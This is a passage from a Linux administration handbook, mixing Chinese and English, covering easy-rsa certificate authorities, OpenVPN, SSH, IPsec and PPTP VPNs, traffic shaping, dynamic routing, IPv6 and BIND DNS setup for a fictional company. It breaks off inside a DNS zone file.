It is also possible to create our own CA, for that we will use the RSA algorithm, widely used in public-key cryptography. It involves a “key pair”, comprised of a private and a public key. The two keys are closely linked to each other, and their mathematical properties are such that a message encrypted with the public key can only be decrypted by someone knowing the private key, which ensures confidentiality. In the opposite direction, a message encrypted with the private key can be decrypted by anyone knowing the public key, which allows authenticating the origin of a message since only someone with access to the private key could generate it. When associated with a digital hash function (MD5, SHA1, or a more recent variant), this leads to a signature mechanism that can be applied to any message.

Since public CAs only emit certificates in exchange for a (hefty) fee, it is also possible to create a private certification authority within the company. The easy-rsa package provides tools to serve as an X.509 certification infrastructure, implemented as a set of scripts using the openssl command.

ALTERNATIVE GnuTLS

GnuTLS can also be used to generate a CA, and deal with other technologies around the TLS, DTLS and SSL protocols.

The package gnutls-bin contains the command-line utilities. It is also useful to install the gnutls-doc package, which includes extensive documentation.

Falcot 公司的管理者以此工具新增必要的伺服器與客戶端認證。可以把所有的客戶端組態成類似的狀態，因為他們祗需信件 Falcot 在地 CA 的認證。此 CA 是率先認證的；為此工作，管理者在適當的地方建立新的資料夾，供 CA 的檔案使用，最好放在離線的地方，杜絕私鑰被竊的危險。

$ make-cadir pki-falcot

$ cd pki-falcot

They then store the required parameters into the vars file, which can be uncommented and edited:

$ grep EASYRSA vars

if [ -z "$EASYRSA_CALLER" ]; then

# easyrsa.  More specific variables for specific files (e.g., EASYRSA_SSL_CONF)

#set_var EASYRSA "${0%/*}"

#set_var EASYRSA_OPENSSL "openssl"

#set_var EASYRSA_OPENSSL "C:/Program Files/OpenSSL-Win32/bin/openssl.exe"

#set_var EASYRSA_PKI "$PWD/pki"

#set_var EASYRSA_TEMP_DIR "$EASYRSA_PKI"

#set_var EASYRSA_DN "cn_only"

set_var EASYRSA_REQ_COUNTRY "FR"

set_var EASYRSA_REQ_PROVINCE "Loire"

set_var EASYRSA_REQ_CITY "Saint-Étienne"

set_var EASYRSA_REQ_ORG "Falcot Corp"

set_var EASYRSA_REQ_EMAIL "admin@falcot.com"

set_var EASYRSA_REQ_OU "Certificate authority"

#set_var EASYRSA_KEY_SIZE 2048

#set_var EASYRSA_ALGO rsa

#set_var EASYRSA_CURVE secp384r1

#set_var EASYRSA_CA_EXPIRE 3650

#set_var EASYRSA_CERT_EXPIRE 825

#set_var EASYRSA_CRL_DAYS 180

#set_var EASYRSA_CERT_RENEW 30

#set_var EASYRSA_RAND_SN "yes"

#set_var EASYRSA_NS_SUPPORT "no"

#set_var EASYRSA_NS_COMMENT "Easy-RSA Generated Certificate"

#set_var EASYRSA_TEMP_FILE "$EASYRSA_PKI/extensions.temp"

# when undefined here, default behaviour is to look in $EASYRSA_PKI first, then

# fallback to $EASYRSA for the 'x509-types' dir.  You may override this

#set_var EASYRSA_EXT_DIR "$EASYRSA/x509-types"

#set_var EASYRSA_KDC_REALM      "CHANGEME.EXAMPLE.COM"

# EASYRSA_PKI or EASYRSA dir (in that order.) NOTE that this file is Easy-RSA

#set_var EASYRSA_SSL_CONF "$EASYRSA/openssl-easyrsa.cnf"

#set_var EASYRSA_REQ_CN "ChangeMe"

#set_var EASYRSA_DIGEST "sha256"

#set_var EASYRSA_BATCH ""

$ vim vars

$

Now we prepare the public key infrastructure directory with the following command:

$ ./easyrsa init-pki

init-pki complete; you may now create a CA or requests.

Your newly created PKI dir is: /home/debian/pki-falcot/pki

The next step is the creation of the CA's key pair itself (the two parts of the key pair will be stored under pki/ca.crt and pki/private/ca.key during this step). We can add the option nopass to avoid entering a password each time the private key is used:

$ ./easyrsa build-ca nopass

Using SSL: openssl OpenSSL 1.1.1k  25 Mar 2021

Generating RSA private key, 2048 bit long modulus (2 primes)

..................+++++

...............................+++++

e is 65537 (0x010001)

You are about to be asked to enter information that will be incorporated

into your certificate request.

What you are about to enter is what is called a Distinguished Name or a DN.

There are quite a few fields but you can leave some blank

For some fields there will be a default value,

If you enter '.', the field will be left blank.

-----

Common Name (eg: your user, host, or server name) [Easy-RSA CA]:

CA creation complete and you may now import and sign cert requests.

Your new CA certificate file for publishing is at:

/home/debian/pki-falcot/pki/ca.crt

The certificate can now be created, as well as the Diffie-Hellman parameters required for the server side of an SSL/TLS connection. They want to use it for a VPN server (see section 節 10.3, “虛擬專用網路”) that is identified by the DNS name vpn.falcot.com; this name is re-used for the generated key files (keys/vpn.falcot.com.crt for the public certificate, keys/vpn.falcot.com.key for the private key):

$ ./easyrsa gen-req vpn.falcot.com nopass

Using SSL: openssl OpenSSL 1.1.1k  25 Mar 2021

Generating a RSA private key

......................................+++++

..........................................................................+++++

writing new private key to '/home/debian/pki-falcot/pki/easy-rsa-5515.0PwyXl/tmp.g1c6u6'

-----

You are about to be asked to enter information that will be incorporated

into your certificate request.

What you are about to enter is what is called a Distinguished Name or a DN.

There are quite a few fields but you can leave some blank

For some fields there will be a default value,

If you enter '.', the field will be left blank.

-----

Common Name (eg: your user, host, or server name) [vpn.falcot.com]:

Keypair and certificate request completed. Your files are:

req: /home/debian/pki-falcot/pki/reqs/vpn.falcot.com.req

key: /home/debian/pki-falcot/pki/private/vpn.falcot.com.key

$ ./easyrsa sign-req server vpn.falcot.com

Using SSL: openssl OpenSSL 1.1.1k  25 Mar 2021

You are about to sign the following certificate.

Please check over the details shown below for accuracy. Note that this request

has not been cryptographically verified. Please be sure it came from a trusted

source or that you have verified the request checksum with the sender.

Request subject, to be signed as a server certificate for 825 days:

subject=

commonName                = vpn.falcot.com

Type the word 'yes' to continue, or any other input to abort.

Confirm request details: yes

Using configuration from /home/debian/pki-falcot/pki/easy-rsa-5603.87iCIa/tmp.u8r8Fj

Check that the request matches the signature

Signature ok

The Subject's Distinguished Name is as follows

commonName            :ASN.1 12:'vpn.falcot.com'

Certificate is to be certified until May 27 15:26:29 2024 GMT (825 days)

Write out database with 1 new entries

Data Base Updated

Certificate created at: /home/debian/pki-falcot/pki/issued/vpn.falcot.com.crt

$ ./easyrsa gen-dh

Using SSL: openssl OpenSSL 1.1.1k  25 Mar 2021

Generating DH parameters, 2048 bit long safe prime, generator 2

This is going to take a long time

[…]

DH parameters of size 2048 created at /home/debian/pki-falcot/pki/dh.pem

以上的步驟新增 VPN 客戶；每個使用 VPN 的電腦或使用者都需有個認證：

$ ./easyrsa build-client-full JoeSmith nopass

Using SSL: openssl OpenSSL 1.1.1k  25 Mar 2021

Generating a RSA private key

...................................+++++

.........................................................................................+++++

writing new private key to '/home/debian/pki-falcot/pki/easy-rsa-5694.DOYwSn/tmp.RKlbOE'

-----

Using configuration from /home/debian/pki-falcot/pki/easy-rsa-5694.DOYwSn/tmp.d5QHAC

Check that the request matches the signature

Signature ok

The Subject's Distinguished Name is as follows

commonName            :ASN.1 12:'JoeSmith'

Certificate is to be certified until May 27 15:29:25 2024 GMT (825 days)

Write out database with 1 new entries

Data Base Updated

10.3. 虛擬專用網路

虛擬專用網路 (VPN) 是以通道方式，經由網際網路連結兩個區域網路的方式；通常以加密方式在通道內傳送資訊。VPN 通常用於整合公司內部遠端機器。

Several tools provide this functionality. OpenVPN is an efficient solution, easy to deploy and maintain, based on SSL/TLS. Another possibility is using IPsec to encrypt IP traffic between two machines; this encryption is transparent, which means that applications running on these hosts need not be modified to take the VPN into account. SSH can also be used to provide a VPN, in addition to its more conventional features. Finally, a VPN can be established using Microsoft's PPTP protocol. Other solutions exist, but are beyond the focus of this book.

10.3.1. OpenVPN

OpenVPN 用於建立虛擬專用網路的一個軟體。在 VPN 伺服器及客戶端建立虛擬專用網路；支援 tun (IP 層面的通道) 和 tap (Ethernet 層面的通道) 介面。實務上，常用的是 tun 介面，除非 VPN 客戶端難以經由 Ethernet 橋接器整合入伺服器的區域網路。

OpenVPN 所有的 SSL/TLS 加密與其他功能 (機密性、認證、完整性、不可否認性)，均有賴於 OpenSSL。可以用公鑰基礎設施的共享私鑰或使用 X.509 認證的方式組態它。建議使用後者的方式組態，以漫遊方式近用 VPN 的使用者可享有更多的彈性。

10.3.1.1. 組態 OpenVPN 伺服器

After all certificates have been created (follow the instructions from 節 10.2.2, “公鑰基礎設施：easy-rsa”), they need to be copied where appropriate: the root certificate's public key (pki/ca.crt) will be stored on all machines (both server and clients) as /etc/ssl/certs/Falcot_CA.crt. The server's certificate is installed only on the server (pki/issued/vpn.falcot.com.crt goes to /etc/ssl/certs/vpn.falcot.com.crt, and pki/private/vpn.falcot.com.key goes to /etc/ssl/private/vpn.falcot.com.key with restricted permissions so that only the administrator can read it), with the corresponding Diffie-Hellman parameters (pki/dh.pem) installed to /etc/openvpn/dh.pem. Client certificates are installed on the corresponding VPN client in a similar fashion.

By default, the OpenVPN initialization script tries starting all virtual private networks defined in /etc/openvpn/*.conf. Setting up a VPN server is therefore a matter of storing a corresponding configuration file in this directory. A good starting point is /usr/share/doc/openvpn/examples/sample-config-files/server.conf.gz, which leads to a rather standard server. Of course, some parameters need to be adapted: ca, cert, key and dh need to describe the selected locations (respectively, /etc/ssl/certs/Falcot_CA.crt, /etc/ssl/vpn.falcot.com.crt, /etc/ssl/private/vpn.falcot.com.key and /etc/openvpn/dh.pem). The server 10.8.0.0 255.255.255.0 directive defines the subnet to be used by the VPN; the server uses the first IP address in that range (10.8.0.1) and the rest of the addresses are allocated to clients.

With this configuration, starting OpenVPN creates the virtual network interface, usually under the tun0 name. However, firewalls are often configured at the same time as the real network interfaces, which happens before OpenVPN starts. Good practice therefore recommends creating a persistent virtual network interface, and configuring OpenVPN to use this pre-existing interface. This further allows choosing the name for this interface. To this end, openvpn --mktun --dev vpn --dev-type tun creates a virtual network interface named vpn with type tun; this command can easily be integrated in the firewall configuration script, or in an up directive of the /etc/network/interfaces file, or a udev rule can be added to that end. The OpenVPN configuration file must also be updated accordingly, with the dev vpn and dev-type tun directives.

禁止進一步的行動，VPN 客戶端祗能經由 10.8.0.1 位址近用 VPN 伺服器。為了授權客戶近用在地網路 (192.168.0.0/24)，需在 OpenVPN 組態中加入 推送路徑 192.168.0.0 255.255.255.0，讓 VPN 客戶端自動取得網路路由，使其明瞭經由 VPN 可以進入該網路。此外，在地網路的機器也需被告知，經由 VPN 伺服器 (在閘道安裝 VPN 伺服器即自動啟用) 進入VPN。另外，VPN 伺服器可以組態後執行偽裝 IP 的工作，讓來自 VPN 客戶端的訊息顯示成來自 VPN 伺服器 (見 節 10.1, “閘道器”)。

10.3.1.2. 組態 OpenVPN 客戶端

需組態 /etc/openvpn/ 內的檔案才能設定 OpenVPN 客戶端。標準的組態方法可從使用 /usr/share/doc/openvpn/examples/sample-config-files/client.conf 這個檔案開始。remote vpn.falcot.com 1194 介紹 OpenVPN 伺服器的位址及埠號；描述密鑰文件位址時，需參考 ca、cert 和 key。

If the VPN should not be started automatically on boot, set the AUTOSTART directive to none in the /etc/default/openvpn file. Starting or stopping a given VPN connection is always possible with the commands systemctl start openvpn@name and systemctl stop openvpn@name (where the connection name matches the one defined in /etc/openvpn/name.conf).

The network-manager-openvpn-gnome package contains an extension to Network Manager (see 節 8.2.5, “網路自動組態漫遊使用者”) that allows managing OpenVPN virtual private networks. This allows every user to configure OpenVPN connections graphically and to control them from the network management icon.

10.3.2. SSH 下的虛擬專屬網路

There are actually two ways of creating a virtual private network with SSH. The historic one involves establishing a PPP layer over the SSH link. This method is described in a HOWTO document:

→ https://www.tldp.org/HOWTO/ppp-ssh/

第二個方法較新，適用於 OpenSSH 4.3；可以在 OpenSSH 之下建立虛擬網路介面 (tun*) 於 SSH 連結的兩端，且可以精準地組態這些虛擬介面，就像在實體介面環境下。必須先設定 PermitTunnel 為 “yes” 於 SSH 伺服器組態檔 (/etc/ssh/sshd_config)，才能啟用此隧道系統。啟用 SSH 連結後，新增的隧道必須以 -w any:any 選項 (any 可以用期望的 tun 設備名稱取代) 請求連結。兩端的使用者需有管理者權限，才能新增網路設備 (換句話說，必須以超級使用者的身份才能建立連結)。

以 SSH 建立虛擬專屬網路的兩種方法都很直接。然而，它們提供的 VPN 不是最有效的；特別是，無法有效處理高階的流量。

The explanation is that when a TCP/IP stack is encapsulated within a TCP/IP connection (for SSH), the TCP protocol is used twice, once for the SSH connection and once within the tunnel. This leads to problems, especially due to the way TCP adapts to network conditions by altering timeout delays. The following site describes the problem in more detail:

→ http://sites.inka.de/sites/bigred/devel/tcp-tcp.html

VPNs over SSH should therefore be restricted to one-off tunnels with no performance constraints.

10.3.3. 網際網路安全協定

IPsec, despite being the standard in IP VPNs, is rather more involved in its implementation. The IPsec engine itself is integrated in the Linux kernel; the required user-space parts, the control and configuration tools, are provided by the libreswan package or the strongswan package. Here we describe briefly the first of these options.

First, we install the libreswan package. In concrete terms, each host's /etc/ipsec.conf contains the parameters for IPsec tunnels (or Security Associations, in the IPsec terminology) that the host is concerned with. There are many configuration examples in /usr/share/doc/libreswan/, but Libreswan's online documentation has more examples with explanations:

→ https://libreswan.org/wiki/

The IPsec service can be controlled with systemctl; for example, systemctl start ipsec will start the IPsec service.

僅管其狀態為參照，IPsec 的設定限制其用途。必備的通道不多也不是動態時，OpenVPN-based 解決方案較受用。

注意 IPsec 與 NAT

NAT 的防火牆與 IPsec 無法併用：因為 IPsec 是套件，任何改變將引發防火牆的作用，套件就會被拒絕。不同的 IPsec 應用包括：NAT-T 技術 (給 NAT Traversal)，把 IPsec 套件包裝在標準的 UDP 封包內。

安全 IPsec 與防火牆

IPsec 的標準操作模式在 UDP 埠號 500 做鍵值交換 (使用 NAT-T 時，也可在 UDP 埠號 4500)。而且，IPsec 封包使用兩個固定的 IP 協定允許防火牆通過；收到這些封包的基礎是其協定編號，50 (ESP) 與 51 (AH)。

10.3.4. PPTP

PPTP (𪅈原文是 Point-to-Point Tunneling Protocol) 用到兩種通訊閘道，一個控制資料另個酬載資料；後者使用 GRE 協定 (Generic Routing Encapsulation)。標準的 PPP 連結建立在資料交換閘道。

10.3.4.1. 設定客戶端

此 pptp-linux 封包含有易於組態的 Linux 客戶端 PPTP。以下說明取自官方文件：

→ http://pptpclient.sourceforge.net/howto-debian.phtml

Falcot 管理者新增若干檔案：/etc/ppp/options.pptp、/etc/ppp/peers/falcot、/etc/ppp/ip-up.d/falcot、與 /etc/ppp/ip-down.d/falcot。

範例 10.2. /etc/ppp/options.pptp 檔案

# PPP options used for a PPTP connection

lock

noauth

nobsdcomp

nodeflate

範例 10.3. /etc/ppp/peers/falcot 檔案

# vpn.falcot.com is the PPTP server

pty "pptp vpn.falcot.com --nolaunchpppd"

# the connection will identify as the "vpn" user

user vpn

remotename pptp

# encryption is needed

require-mppe-128

file /etc/ppp/options.pptp

ipparam falcot

範例 10.4. /etc/ppp/ip-up.d/falcot 檔案

# Create the route to the Falcot network

if [ "$6" = "falcot" ]; then

# 192.168.0.0/24 is the (remote) Falcot network

ip route add 192.168.0.0/24 dev $1

fi

範例 10.5. /etc/ppp/ip-down.d/falcot 檔案

# Delete the route to the Falcot network

if [ "$6" = "falcot" ]; then

# 192.168.0.0/24 is the (remote) Falcot network

ip route del 192.168.0.0/24 dev $1

fi

安全 MPPE

加密的 PPTP 涉及使用 MPPE 功能 (Microsoft Point-to-Point Encryption)，可從 Debian 官方的核心取得模組。

10.3.4.2. 組態伺服器

注意 PPTP 與防火牆

需組態中間防火牆讓 IP 封包使用埠號 47 (GRE)。此外，需打開 PPTP 伺服器的埠號 1723以使用通訊閘道。

pptpd 是 Linux 的 PPTP 伺服器。它的主要組態檔是，/etc/pptpd.conf，應做若干改變：localip (內網 IP 位址) 與 remoteip (外網 IP 位址)。在下例中，PPTP 伺服器總是使用 192.168.0.199 位址，以及從 192.168.0.200 至 192.168.0.250 之間接收 PPTP 客戶端的 IP 位址。

範例 10.6. /etc/pptpd.conf 檔案

[..]

# TAG: localip

# TAG: remoteip

#       Specifies the local and remote IP address ranges.

#

#       These options are ignored if delegate option is set.

#

#       Any addresses work as long as the local machine takes care of the

#       routing.  But if you want to use MS-Windows networking, you should

#       use IP addresses out of the LAN address space and use the proxyarp

#       option in the pppd options file, or run bcrelay.

#

#       You can specify single IP addresses seperated by commas or you can

#       specify ranges, or both. For example:

#

#               192.168.0.234,192.168.0.245-249,192.168.0.254

#

#       IMPORTANT RESTRICTIONS:

#

#       1. No spaces are permitted between commas or within addresses.

#

#       2. If you give more IP addresses than the value of connections,

#          it will start at the beginning of the list and go until it

#          gets connections IPs.  Others will be ignored.

#

#       3. No shortcuts in ranges! ie. 234-8 does not mean 234 to 238,

#          you must type 234-238 if you mean this.

#

#       4. If you give a single localIP, that's ok - all local IPs will

#          be set to the given one. You MUST still give at least one remote

#          IP for each simultaneous client.

#

# (Recommended)

#localip 192.168.0.1

#remoteip 192.168.0.234-238,192.168.0.245

# or

#localip 192.168.0.234-238,192.168.0.245

#remoteip 192.168.1.234-238,192.168.1.245

localip 192.168.0.199

remoteip 192.168.0.200-250

PPP 採用 PPTP 伺服器組態時也需在 /etc/ppp/pptpd-options 做若干改變。 重要的參數有伺服器名稱 (pptp)、網域名稱 (falcot.com)、以及 DNS 與 WINS 伺服器的 IP 位址。

範例 10.7. /etc/ppp/pptpd-options 檔案

# Enable connection debugging facilities.

# (see your syslog configuration for where pppd sends to)

#debug

# Name of the local system for authentication purposes

# (must match the second field in /etc/ppp/chap-secrets entries)

name pptpd

# Optional: domain name to use for authentication

## change the domainname to your local domain

domain falcot.com

# Authentication

## these are reasonable defaults for WinXXXX clients

## for the security related settings

auth

refuse-pap

refuse-chap

refuse-mschap

# Require the peer to authenticate itself using MS-CHAPv2 [Microsoft

# Challenge Handshake Authentication Protocol, Version 2] authentication.

require-mschap-v2

# Require MPPE 128-bit encryption

# (note that MPPE requires the use of MSCHAP-V2 during authentication)

require-mppe-128

# Network and Routing

## Fill in your addresses

ms-dns 192.168.0.1

ms-wins 192.168.0.1

## Fill in your netmask

netmask 255.255.255.0

## some defaults

nodefaultroute

proxyarp

lock

登錄 vpn 使用者 (及其密碼) 於 /etc/ppp/chap-secrets 檔案的最後一個步驟。其他的作為裡，星號 (*) 是有作用的，在此的伺服器名稱必須明示出來。而且，Windows PPTP 客戶端以 DOMAIN\\USER 形式辨識，不是以使用者名稱區別。這就說明了在 FALCOT\\vpn 使用者必須提及的檔案。也可以指定使用者使用特定的 IP 位址；此欄位內的星號用於指定動態的位址。

範例 10.8. 該 /etc/ppp/chap-secrets 檔案

# Secrets for authentication using CHAP

# client        server  secret      IP addresses

vpn             pptp    f@Lc3au     *

FALCOT\\vpn     pptp    f@Lc3au     *

安全 PPTP 漏洞

𧢒微軟的第一個 PPTP 應用發生重大的瑕疪，因為出現很多安全漏洞；多半在新版已修正了。本節的組態文件使用最新版的協定。移除部份選項 (如 require-mppe-128 與 require-mschap-v2) 仍可能再出現服務漏洞。

10.4. 品質服務

10.4.1. 原則與機制

服務品質 (Quality of Service 或縮寫為 QoS) 係指提供應用時足以保證或改進服務品質的技術。最常見的技術包括分類網路流量、及依照其類別區分流量的作用。這種區分服務的概念是 流量成形，限制部份服務或主機的資料傳輸率，使其不致塞飽可用的頻寬以及壓縮其他的服務。流量成形是 TCP 流量的特定形式，此協定自動調整可用的頻。

CULTURE Net neutrality and QoS

Network neutrality is achieved when Internet service providers treat all Internet communications equally, that is, without any access limitation based on content, user, website, destination address, etc.

Quality of service can be implemented in a net neutral Internet, but only if Internet service providers can't charge a special fee for a higher-quality service.

也可能改變流量的優先順序，允許與互動服務有關的 (如 ssh 與 telnet) 或祗服務小量資料的封包優先處理。

Debian 核心包括 QoS 必備的功能與相關的模組。這些模組提供多樣服務，多半係供 IP 封包陣列使用；這些陣列行為包括多種可能的需求。

文化 LARTC — Linux 進階路由與流量控制

The Linux Advanced Routing & Traffic Control HOWTO is the reference document covering everything there is to know about network quality of service.

→ https://www.lartc.org/howto/

10.4.2. 組態與應用

經由 tc 命令 (由 iproute 套件提供) 設定 QoS 參數。因為其介面較為複雜，建議使用高階的工具。

10.4.2.1. 減少延遲：wondershaper

wondershaper (在同名的套件中) 的主要目的是最小化獨立網路負載的延遲。經由限制整體流量的值縮短連結的飽和值。

Once a network interface is configured, setting up this traffic limitation is achieved by running wondershaper interface download_rate upload_rate. The interface can be enp1s0, eth0 or ppp0 for example, and both rates are expressed in kilobits per second. The wondershaper remove interface command disables traffic control on the specified interface.

For an Ethernet connection, historically this script would be called right after the interface is configured. This is done by adding up and down directives to the /etc/network/interfaces file allowing declared commands to be run, respectively, after the interface is configured and before it is deconfigured. Or in the PPP case, creating a script that calls wondershaper in /etc/ppp/ip-up.d/ will enable traffic control as soon as the connection is up. Below is an example using this first method:

範例 10.9. Changes in the /etc/network/interfaces file

iface eth0 inet dhcp

up /sbin/wondershaper eth0 500 100

down /sbin/wondershaper remove eth0

GOING FURTHER Optimal configuration

The /usr/share/doc/wondershaper/README.Debian.gz file describes, in some detail, the configuration method recommended by the package maintainer. In particular, it advises measuring the download and upload speeds so as to best evaluate real limits.

10.4.2.2. Standard Configuration

Barring a specific QoS configuration, the Linux kernel uses the pfifo_fast queue scheduler, which provides a few interesting features by itself. The priority of each processed IP packet is based on the DSCP field (Differentiated Services Code Point) of this packet; modifying this 6-bit field is enough to take advantage of the scheduling features. Refer to https://en.wikipedia.org/wiki/Differentiated_services#Class_Selector for more information.

The DSCP field can be set by applications that generate IP packets, or modified on the fly by netfilter. The following rules are sufficient to increase responsiveness for a server's SSH service, note that the DSCP field must be set in hexadecimal:

nft add table ip mangle

nft add rule ip mangle PREROUTING tcp sport 22 counter ip dscp set 0x04

nft add rule ip mangle PREROUTING tcp dport 22 counter ip dscp set 0x04

10.5. Dynamic Routing

The reference tool for dynamic routing is currently frr from the similarly-named package; it used to be quagga, and before that zebra until development of these stopped. However, frr kept the names of the programs for compatibility reasons which explains the zebra commands below.

BACK TO BASICS Dynamic routing

Dynamic routing allows routers to adjust, in real time, the paths used for transmitting IP packets. Each protocol involves its own method of defining routes (shortest path, use routes advertised by peers, and so on).

In the Linux kernel, a route links a network device to a set of machines that can be reached through this device. The ip command, when route is used as the first argument, defines new routes and displays existing ones. The route command was used for that purpose, but it is deprecated in favor of ip.

FRR (FRRouting) is a set of daemons cooperating to define the routing tables to be used by the Linux kernel; each routing protocol (most notably BGP, OSPF and RIP) provides its own daemon(s). The zebra and staticd daemons, which are always started, collect information from other daemons and handle static routing tables accordingly. The other daemons are known as bgpd, ospfd, ospf6d, ripd, ripngd, isisd, etc.

Daemons are enabled by creating the /etc/frr/daemon.conf config file, daemon being the name of the daemon to use, and editing the /etc/frr/daemons configuration file. The daemon config file must belong to the frr user and group with permissions of 0640 in order for the /etc/init.d/frr script or the frr.service systemd service file to invoke the daemon. The package frr provides configuration examples under /usr/share/doc/frr/examples/.

The configuration of each of these daemons requires knowledge of the routing protocol in question. These protocols cannot be described in detail here, but frr-doc provides ample explanation in the form of both info and HTML files. The same contents may be more browsed on the project's website:

→ http://docs.frrouting.org/en/latest/

In addition, the syntax is very close to a standard router's configuration interface, and network administrators will adapt quickly to frr.

IN PRACTICE OSPF, BGP or RIP?

OSPF (Open Shortest Path First) is generally the best protocol to use for dynamic routing on private networks, but BGP (Border Gateway Protocol) is more common for Internet-wide routing. RIP (Routing Information Protocol) is rather ancient, and hardly used anymore.

10.6. IPv6

IPv6, successor to IPv4, is a newer version of the IP protocol designed to fix its flaws, most notably the scarcity of available IP addresses. This protocol handles the network layer; its purpose is to provide a way to address machines, to convey data to their intended destination, and to handle data fragmentation if needed (in other words, to split packets into chunks with a size that depends on the network links to be used on the path and to reassemble the chunks in their proper order on arrival).

Debian kernels include IPv6 handling in the core kernel (with the exception of some architectures that have it compiled as a module named ipv6). Basic tools such as ping and traceroute have their IPv6 equivalents in ping6 and traceroute6, available respectively in the iputils-ping and iputils-tracepath packages.

The IPv6 network is configured similarly to IPv4, in /etc/network/interfaces. But if you want that network to be globally available, you must ensure that you have an IPv6-capable router relaying traffic to the global IPv6 network.

範例 10.10. Example of IPv6 configuration

iface enp7s0 inet6 static

address 2001:db8:1234:5::1:1/64

# Disabling auto-configuration

# autoconf 0

# The router is auto-configured and has no fixed address

# (accept_ra 1). If it had:

# gateway 2001:db8:1234:5::1

IPv6 subnets usually have a netmask of 64 bits. This means that 2^64 distinct addresses exist within the subnet. This allows Stateless Address Autoconfiguration (SLAAC) to pick an address based on the network interface's MAC address. By default, if SLAAC is activated in your network and IPv6 on your computer, the kernel will automatically find IPv6 routers and configure the network interfaces.

This behavior may have privacy implications. If you switch networks frequently, e.g. with a laptop, you might not want your MAC address being a part of your public IPv6 address. This makes it easy to identify the same device across networks. A solution to this are IPv6 privacy extensions (which Debian enables by default if IPv6 connectivity is detected during initial installation), which will assign an additional randomly generated address to the interface, periodically change them and prefer them for outgoing connections. Incoming connections can still use the address generated by SLAAC. The following example, for use in /etc/network/interfaces, activates these privacy extensions for the interface enp7s0.

範例 10.11. IPv6 privacy extensions

iface enp7s0 inet6 auto

# Prefer the randomly assigned addresses for outgoing connections.

privext 2

TIP Programs built with IPv6

Many pieces of software need to be adapted to handle IPv6. Most of the packages in Debian have been adapted already, but not all. If your favorite package does not work with IPv6 yet, you can ask for help on the debian-ipv6 mailing-list. They might know about an IPv6-aware replacement and could file a bug to get the issue properly tracked.

→ https://lists.debian.org/debian-ipv6/

IPv6 connections can be restricted, in the same fashion as for IPv4. nft can be used to create firewall rules for IPv4 and IPv6 (see 節 14.2.3, “Syntax of nft”).

10.6.1. Tunneling

CAUTION IPv6 tunneling and firewalls

IPv6 tunneling over IPv4 (as opposed to native IPv6) requires the firewall to accept the traffic, which uses IPv4 protocol number 41.

If a native IPv6 connection is not available, the fallback method is to use a tunnel over IPv4. Hurricane Electric is one (free) provider of such tunnels:

→ https://tunnelbroker.net

To use a Hurricane Electric tunnel, you need to register an account, login, select a free tunnel and edit the file /etc/network/interfaces with the generated code.

You can install and configure the radvd daemon (from the similarly-named package) if you want to use the configured computer as a router for a local network. This IPv6 configuration daemon has a role similar to dhcpd in the IPv4 world.

The /etc/radvd.conf configuration file must then be created (see /usr/share/doc/radvd/examples/simple-radvd.conf as a starting point). In our case, the only required change is the prefix, which needs to be replaced with the one provided by Hurricane Electric; it can be found in the output of the ip a command, in the block concerning the he-ipv6 interface.

Then run systemctl start radvd. The IPv6 network should now work.

10.7. Domain Name Servers (DNS)

The Domain Name Service (DNS) is a fundamental component of the Internet: it maps host names to IP addresses (and vice-versa), which allows the use of www.debian.org instead of 130.89.148.77 or 2001:67c:2564:a119::77.

DNS records are organized in zones; each zone matches either a domain (or a subdomain) or an IP address range (since IP addresses are generally allocated in consecutive ranges). A primary server is authoritative on the contents of a zone; secondary servers, usually hosted on separate machines, provide regularly refreshed copies of the primary zone.

Each zone can contain records of various kinds (Resource Records), these are some of the most common:

- A (address record): IPv4 address. This is the most common form to point a domain to an IPv4 address.

- CNAME (canonical name record): alias

- MX (mail exchange): an email server. This information is used by other email servers to find where to send email addressed to a given address. Each MX record has a priority. The highest-priority server (with the lowest number) is tried first (see sidebar BACK TO BASICS SMTP); other servers are contacted in order of decreasing priority if the first one does not reply.

- PTR (pointer): mapping of an IP address to a name. Such a record is stored in a “reverse DNS” zone named after the IP address range. For example, 1.168.192.in-addr.arpa is the zone containing the reverse mapping for all addresses in the 192.168.1.0/24 range.

- AAAA (IPv6 address record): IPv6 address.

- NS (name server): maps a name to a name server. Each domain must have at least one NS record. These records point at a DNS server that can answer queries concerning this domain; they usually point at the primary and secondary servers for the domain. These records also allow DNS delegation; for instance, the falcot.com zone can include an NS record for internal.falcot.com, which means that the internal.falcot.com zone is handled by another server. Of course, this server must declare an internal.falcot.com zone.

10.7.1. DNS software

The reference name server, Bind, was developed and is maintained by ISC (the Internet Software Consortium). It is provided in Debian by the bind9 package. Version 9 brings two major changes compared to previous versions. First, the DNS server can now run under an unprivileged user, so that a security vulnerability in the server does not grant root privileges to the attacker (as was seen repeatedly with versions 8.x).

Furthermore, Bind supports the DNSSEC standard for signing (and therefore authenticating) DNS records, which allows blocking any spoofing of this data during man-in-the-middle attacks.

CULTURE DNSSEC

The DNSSEC norm is quite complex; this partly explains why it is not in widespread usage yet (even if it perfectly coexists with DNS servers unaware of DNSSEC). To understand all the ins and outs, you should check the following article.

→ https://en.wikipedia.org/wiki/Domain_Name_System_Security_Extensions

10.7.2. Configuring bind

Configuration files for bind, irrespective of version, have the same structure.

The Falcot administrators created a primary falcot.com zone to store information related to this domain, and a 168.192.in-addr.arpa zone for reverse mapping of IP addresses in the local networks.

CAUTION Names of reverse zones

Reverse zones have a particular name. The zone covering the 192.168.0.0/16 network needs to be named 168.192.in-addr.arpa: the IP address components are reversed, and followed by the in-addr.arpa suffix.

For IPv6 networks, the suffix is ip6.arpa and the IP address components which are reversed are each character in the full hexadecimal representation of the IP address. As such, the 2001:0bc8:31a0::/48 network would use a zone named 0.a.1.3.8.c.b.0.1.0.0.2.ip6.arpa.

TIP Testing the DNS server

The host command (in the bind9-host package) queries a DNS server, and can be used to test the server configuration. For example, host machine.falcot.com localhost checks the local server's reply for the machine.falcot.com query. host ipaddress localhost tests the reverse resolution.

The following configuration excerpts, taken from the Falcot files, can serve as starting points to configure a DNS server:

範例 10.12. Excerpt of /etc/bind/named.conf.local

zone "falcot.com" {

type master;

file "/etc/bind/db.falcot.com";

allow-query { any; };

allow-transfer {

195.20.105.149/32 ; // ns0.xname.org

193.23.158.13/32 ; // ns1.xname.org

};

};

zone "internal.falcot.com" {

type master;

file "/etc/bind/db.internal.falcot.com";

allow-query { 192.168.0.0/16; };

};

zone "168.192.in-addr.arpa" {

type master;

file "/etc/bind/db.192.168";

allow-query { 192.168.0.0/16; };

};

範例 10.13. Excerpt of /etc/bind/db.falcot.com

; falcot.com Zone

; admin.falcot.com. => zone contact: admin@falcot.com

$TTL    604800

@       IN      SOA     falcot.com. admin.falcot.com. (

20040121        ; Serial

604800         ; Refresh

86400         ; Retry

2419200         ; Expire

